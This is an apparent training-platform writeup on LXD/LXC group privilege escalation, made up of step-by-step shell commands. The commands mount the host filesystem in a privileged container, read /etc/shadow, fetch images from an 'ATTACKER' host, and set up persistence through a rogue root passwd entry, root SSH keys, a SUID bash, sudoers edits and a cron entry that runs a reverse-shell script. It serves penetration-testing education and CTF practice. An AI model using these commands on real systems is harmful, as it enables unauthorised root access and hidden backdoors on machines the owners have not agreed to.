LXD/LXC Privilege Escalation

intermediate25 minWriteup

Exploiting LXD group for root access

Learning Objectives

  • Identify LXD group membership
  • Create malicious containers
  • Mount host filesystem
  • Gain root access

LXD/LXC is Linux's native container technology, similar to Docker. Like

, being in the lxd group is equivalent to root access - you can mount the host filesystem into a container you control.

Think of LXD like a more powerful version of Docker that's built into many Ubuntu systems. If you're in the lxd group, you can spin up a container, mount the entire host's root filesystem into it, and access everything as root. Game over.

lxd Group = Root

Just like Docker, the lxd group provides root-equivalent access. Any user in this group can trivially escalate to root by mounting the host filesystem. Always check "id" for lxd group membership.

Checking LXD Access

bash
1606070;"># Check if you're in lxd group
2id
3606070;"># uid=1000(user) gid=1000(user) groups=1000(user),108(lxd)
4606070;"># ^^^
5 
6groups
7606070;"># user lxd
8 
9606070;"># Check if LXD is installed
10which lxd
11which lxc
12 
13606070;"># Check LXD status
14lxc version
15lxc list
16 
17606070;"># If you get permission denied, you're not in the group
18606070;"># If it works, you have escalation path!
19 
20606070;"># Check LXD socket
21ls -la /var/lib/lxd/unix.socket
22ls -la /var/snap/lxd/common/lxd/unix.socket
23 
24606070;"># LXD group has access to these sockets

Ubuntu Default

LXD comes pre-installed on many Ubuntu systems. Users are sometimes added to the lxd group without understanding the security implications. Always check for this group!

Basic LXD Privilege Escalation

bash
1606070;"># Method 1: Using existing images
2606070;"># Check for existing images
3lxc image list
4 
5606070;"># If images exist, use one:
6lxc init ubuntu:18.04 privesc -c security.privileged=true
7lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
8lxc start privesc
9lxc exec privesc -- /bin/sh
10 
11606070;"># Now inside container:
12cd /mnt/root
13606070;"># You have full access to host filesystem as root!
14cat /mnt/root/etc/shadow
15cat /mnt/root/root/root.txt
16 
17606070;"># Create persistence:
18echo 606070;">#a5d6ff;">'hacker:$1$xyz$abc:0:0::/root:/bin/bash' >> /mnt/root/etc/passwd
19606070;"># Or
20mkdir -p /mnt/root/root/.ssh
21echo 606070;">#a5d6ff;">"YOUR_SSH_KEY" >> /mnt/root/root/.ssh/authorized_keys
22 
23606070;"># Method 2: Simpler one-liner approach
24lxc init ubuntu:18.04 pwned -c security.privileged=true
25lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
26lxc start pwned
27lxc exec pwned -- chroot /mnt/root /bin/bash
28 
29606070;"># You're now root on the host!

Exploitation Without Internet

If the target can't download images from the internet, you need to import a pre-built image. This is common in CTF environments.

bash
1606070;"># On attack machine: Build Alpine image
2606070;"># Install required tools
3apt install -y git golang-go debootstrap rsync gpg squashfs-tools
4 
5606070;"># Clone and build distrobuilder
6git clone https:606070;">//github.com/lxc/distrobuilder
7cd distrobuilder
8make
9 
10606070;"># Build Alpine image (small, fast)
11mkdir -p $HOME/ContainerImages/alpine/
12cd $HOME/ContainerImages/alpine/
13wget https:606070;">//raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
14$HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
15 
16606070;"># This creates:
17606070;"># lxd.tar.xz (metadata)
18606070;"># rootfs.squashfs (filesystem)
19 
20606070;"># Transfer both files to target
21606070;"># Python HTTP server, SCP, netcat, etc.
22python3 -m http.server 8000
23 
24606070;"># On target:
25wget http:606070;">//ATTACKER:8000/lxd.tar.xz
26wget http:606070;">//ATTACKER:8000/rootfs.squashfs

Alternative: Pre-built Image

bash
1606070;"># Use pre-built Alpine from GitHub
2606070;"># On attack machine:
3git clone https:606070;">//github.com/saghul/lxd-alpine-builder
4cd lxd-alpine-builder
5sudo ./build-alpine
6 
7606070;"># Creates: alpine-v3.x-x86_64-YYYYMMDD_HHMM.tar.gz
8 
9606070;"># Transfer to target
10python3 -m http.server 8000
11 
12606070;"># On target:
13wget http:606070;">//ATTACKER:8000/alpine-v3.*.tar.gz

Import and Exploit

bash
1606070;"># On target: Import the image
2 
3606070;"># For tar.gz format (Alpine builder)
4lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
5 
6606070;"># For split format (distrobuilder)
7lxc image import lxd.tar.xz rootfs.squashfs --alias myimage
8 
9606070;"># Verify import
10lxc image list
11606070;"># | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE |
12606070;"># | myimage | abc123def | no | Alpine | x86_64 |
13 
14606070;"># Create privileged container
15lxc init myimage privesc -c security.privileged=true
16lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
17lxc start privesc
18lxc exec privesc -- /bin/sh
19 
20606070;"># Inside container - you're root on host!
21cd /mnt/root/root
22cat root.txt
23 
24606070;"># Create SUID bash on host
25cp /mnt/root/bin/bash /mnt/root/tmp/rootbash
26chmod +s /mnt/root/tmp/rootbash
27 
28606070;"># Exit and use backdoor
29exit
30/tmp/rootbash -p
31606070;"># root!

LXD Not Initialized

bash
1606070;"># If LXD isn't initialized, you may need to set it up first
2 
3606070;"># Check status
4lxd --version
5lxc list
6606070;"># Error: LXD isn't initialized
7 
8606070;"># Initialize LXD (accepts defaults)
9lxd init --auto
10 
11606070;"># Or interactive (just press Enter for defaults)
12lxd init
13606070;"># Would you like to use LXD clustering? (yes/no) [default=no]:
14606070;"># Do you want to configure a new storage pool? (yes/no) [default=yes]:
15606070;"># Name of the new storage pool [default=default]:
16606070;"># ...just keep pressing Enter...
17 
18606070;"># After init, continue with exploitation
19lxc image import ./alpine.tar.gz --alias myimage
20606070;"># ...etc

LXC (Without LXD)

bash
1606070;"># Some systems have LXC but not LXD
2606070;"># LXC is older, more manual, but same concept
3 
4606070;"># Check LXC
5which lxc-start
6which lxc-create
7 
8606070;"># LXC config is different
9606070;"># Check /etc/lxc/default.conf
10 
11606070;"># Create container (requires templates)
12sudo lxc-create -t download -n mycontainer
13 
14606070;"># Or with local template
15sudo lxc-create -t alpine -n mycontainer
16 
17606070;"># Start with config for bind mount
18606070;"># Edit container config:
19606070;"># /var/lib/lxc/mycontainer/config
20606070;"># Add: lxc.mount.entry = / mnt/root none bind,create=dir 0 0
21 
22606070;"># This is more complex than LXD
23606070;"># LXD is the preferred method when available

Establishing Persistence

bash
1606070;"># Once inside container with host mounted:
2 
3606070;"># 1. SUID bash (most reliable)
4cp /mnt/root/bin/bash /mnt/root/tmp/rootbash
5chmod 4755 /mnt/root/tmp/rootbash
6606070;"># Use: /tmp/rootbash -p
7 
8606070;"># 2. SSH key to root
9mkdir -p /mnt/root/root/.ssh
10echo 606070;">#a5d6ff;">"ssh-rsa AAAA..." >> /mnt/root/root/.ssh/authorized_keys
11chmod 700 /mnt/root/root/.ssh
12chmod 600 /mnt/root/root/.ssh/authorized_keys
13606070;"># Use: ssh root@target
14 
15606070;"># 3. Add new root user
16echo 606070;">#a5d6ff;">'hacker:$1$salt$hash:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
17606070;"># Use: su hacker / ssh hacker@target
18 
19606070;"># 4. Modify sudoers
20echo 606070;">#a5d6ff;">'user ALL=(ALL) NOPASSWD: ALL' >> /mnt/root/etc/sudoers
21606070;"># Use: sudo su
22 
23606070;"># 5. Cron persistence
24echo 606070;">#a5d6ff;">'* * * * * root /tmp/revshell.sh' >> /mnt/root/etc/crontab
25 
26606070;"># Remember: You're writing to host's /etc, /root, etc.
27606070;"># from inside the container!

Docker vs LXD Comparison

1Docker vs LXD Privilege Escalation:
2┌────────────────────────────────────────────────────────────┐
3│ Aspect │ Docker │ LXD │
4├────────────────────────────────────────────────────────────┤
5│ Group │ docker │ lxd │
6│ Check │ id | grep docker │ id | grep lxd │
7├────────────────────────────────────────────────────────────┤
8│ Socket │ /var/run/docker.sock │ /var/lib/lxd/... │
9├────────────────────────────────────────────────────────────┤
10│ Mount Host │ -v /:/mnt │ disk source=/ │
11│ │ │ path=/mnt │
12├────────────────────────────────────────────────────────────┤
13│ Quick Exploit │ docker run -v /:/mnt │ lxc init ... │
14│ │ alpine chroot /mnt sh │ lxc start │
15│ │ │ lxc exec ... │
16├────────────────────────────────────────────────────────────┤
17│ Image Needed │ Yes (any image) │ Yes (any image) │
18│ No Internet │ Need to transfer img │ Need to transfer │
19└────────────────────────────────────────────────────────────┘
20 
21Same concept: group membership → mount host → root

Check Both Groups

Always check for membership in both docker AND lxd groups. They're both equally dangerous and provide the same escalation path.

LXD Exploitation Methodology

LXD Privilege Escalation Flow

1
Check Groupid | grep lxd
2
Check Imageslxc image list
3
Import ImageImport from internet or transfer
4
Create Containerlxc init with security.privileged=true
5
Add MountAdd disk device mapping / to /mnt/root
6
Access Hostlxc exec, access /mnt/root as root

Knowledge Check

Quick Quiz
Question 1 of 3

Why does lxd group membership allow privilege escalation?

Challenges

LXD Group Escalation

Challenge
🔥 intermediate

You're a member of the lxd group on an isolated system (no internet). Escalate to root using a transferred Alpine image.

Need a hint? (4 available)

Key Takeaways

  • lxd group membership = root equivalent access
  • Create privileged container with security.privileged=true
  • Mount host filesystem: disk source=/ path=/mnt/root
  • For offline: build Alpine image and transfer
  • Same concept as Docker group exploitation
  • Always check for both docker and lxd group membership